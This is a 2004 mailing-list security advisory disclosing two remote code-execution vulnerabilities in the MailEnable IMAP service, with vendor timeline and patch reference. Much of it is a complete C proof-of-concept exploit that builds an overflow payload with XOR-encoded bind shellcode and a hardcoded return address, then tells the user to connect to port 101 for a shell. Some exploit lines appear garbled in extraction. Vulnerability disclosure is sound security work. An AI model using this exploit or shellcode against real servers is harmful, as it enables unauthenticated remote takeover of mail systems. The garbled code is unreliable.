Remote buffer overflow in MailEnable IMAP service [Hat-Squad Advisory]

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Date: 25 Nov 2004 15:45:08 -0000
To: bugtraq@securityfocus.com

Product: MailEnable Mail Server
Vendor Url: http://www.mailenable.com
Version: MailEnable Professional Edition v1.52, MailEnable Enterprise Edition v1.01
Vulnerability: Remote buffer overflow in IMAP service
Release Date: 26 November, 2004

Vendor Status:
InInformed on 24 November 2004
Response: 24 November 2004
Fixed on 25 November 2004

Overview:

MailEnable's Mail Server software provides a enterprise messaging platform for Microsoft Windows NT/2000/XP/2003 systems.
MailEnable Proferssional IMAP services allows users to have server hosted folders and subfolders.
Two vulnerabilities were discovered by Hat-Squad Team in MailEnable's IMAP service including a stack based buffer overflow
and an object pointer overwrite, both can lead to remote execution of arbitrary code.

Problem:

1. Stack based Buffer Overflow:

Due to a boundary check bug in the IMAP service, sending a client command with more than
8198 bytes will cause a stack buffer overflow.This vulnerability can be triggered before any kind of authentification.

Sample Request:

as a result EIP will be overwritten with ret_addr.

Proof Of Concept Exploit by class101 (class101@hat-squad.com) :

-----------------------------------------------------------------------------------------
/*

Mailenable Pro v1.52, IMAP Service, Remote Buffer Overflow Exploit by
class101(class101@hat-squad.com)

Tested on:
Win2k SP4 Pro English
Win2k SP4 Pro French
Win2k SP4 Server English

Greetz: Arashy, Homi
*/

#include "winsock2.h"
#include "fstream.h"

#pragma comment(lib, "ws2_32")

//BIND shellcode port 101, XORed 0x88, thanx HDMoore.

char scode[] ="\xEB"
"\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D"
"\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9"
"\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C"
"\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89"
"\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03"
"\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F"
"\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88"
"\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61"
"\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9"
"\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C"
"\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8"
"\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68"
"\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F"
"\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23"
"\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89"
"\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9"
"\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77"
"\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77"
"\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77"
"\x58\x68\x61\x63\x6B\x90";

static char payload[10000];

char magikcll[]="\x7a\x8c\x01\x10"; //CALL EDI - MEAISP.dll - "Universal"

void usage(char* us);
WSADATA wsadata;
void ver();

int main(int argc,char *argv[])
{
ver();
if ((argc<2)||(argc>3)){usage(argv[0]);return -1;}
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){
cout<<"[+] wsastartup error: "< int ip=htonl(inet_addr(argv[1])), sz, port, sizeA, a;

if (argc==3){port=atoi(argv[2]);}
else port=143;
char *target;
target=magikcll;
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);if (s==INVALID_SOCKET){
cout<<"[+] socket() error: "< return -1;}

server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
WSAConnect(s,(struct sockaddr
*)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {
cout<<"[+] select() error: "< return -1;
}
case 0: {cout<<"[+] connect() error: "< return -1;}
default:
if(FD_ISSET(s,&mask))
{
cout<<"[+] connected, constructing the payload..."< Sleep(2000);
sizeA=8202-sizeof(scode);
sz=3+8198+4;
memset(payload,0,sizeof(payload));
strcat(payload,"\x41\x41\x41");
strcat(payload,scode);
for (a=0;a strcat(payload,target);
strcat(payload,"\r\n");
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) {
cout<<"[+] sending error, the server prolly rebooted."< return -1;}
Sleep(1000);
cout<<"[+] size of payload: "< cout<<"[+] payload send, connect the port 101 to get a shell."< return 0;
}
}
closesocket(s);
WSACleanup();
return 0;
}

void usage(char* us)
{
cout<<"USAGE: me_expl.exe \n"< cout<<"NOTE: "< cout<<" The port 143 is default if no port are specified"< cout<<" The exploit bind a shellcode to the port 101"< return;
}
void ver()
{
cout<<""< cout<<""< cout<<" ============================================================"< cout<<" ======MailEnable, Pro Mail Server for Windows <= v1.52======="< cout<<" ========IMAP Service, Remote Buffer Overflow Exploit========="< cout<<" ======coded by class101=============[Hat-Squad.com 2004]====="< cout<<" ============================================================"< cout<<""< }

-----------------------------------------------------------------------------------------

2. Object Pointer Overwrite:

MailEnable failes to check length of the request snet to IMAP service,
before doing any command processing task. Sending more than 432 bytes
to MEIMAP and terminating the connection, will cause a pointer overwrite
and in execution flow, EAX,ECX and EDX registers will be overwritten .
Part of the vulnerable code goes below:

0040E9E0 /$ 55 PUSH EBP
0040E9E1 |. 8BEC MOV EBP,ESP
0040E9E3 |. 51 PUSH ECX
0040E9E4 |. 894D FC MOV DWORD PTR SS:[EBP-4],ECX
0040E9E7 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
0040E9EA |. 8338 00 CMP DWORD PTR DS:[EAX],0
0040E9ED |. 74 10 JE SHORT MEIMAPS.0040E9FF
0040E9EF |. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
0040E9F2 |. 8B11 MOV EDX,DWORD PTR DS:[ECX] <-------- Exception
0040E9F4 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
0040E9F7 |. 8B08 MOV ECX,DWORD PTR DS:[EAX]
0040E9F9 |. 8B01 MOV EAX,DWORD PTR DS:[ECX]
0040E9FB |. 52 PUSH EDX
0040E9FC |. FF50 04 CALL DWORD PTR DS:[EAX+4] <------- Method Call
0040E9FF |> 8BE5 MOV ESP,EBP
0040EA01 |. 5D POP EBP
0040EA02 \. C3 RETN

The actual code should be :
.......
char *buff;
...
strcpy(buff,input); <--- obj pointer overwrite
...
vuln_function(SomeClass *obj, char *input) {

obj->someMethod();
...
}

"call dword ptr ds:[EAX+4]" stands for "obj_arg->someMethod();" . This call instruction could be used to
exploit by brute-forcing input buffer address in stack area.

Vendor Response:

MailEnable has released a patch for these vulnerabilities: http://mailenable.com/hotfix.asp

Credits:
Discovery: Nima Majidi (nima_majidi@hat-squad.com)
Additional Research: idespinner(idespinner@hat-squad.com) and class101 (class101@hat-squad.com)

Regards to Hat-Squad and special greetings to class101 ;p
Jerome - The watcher

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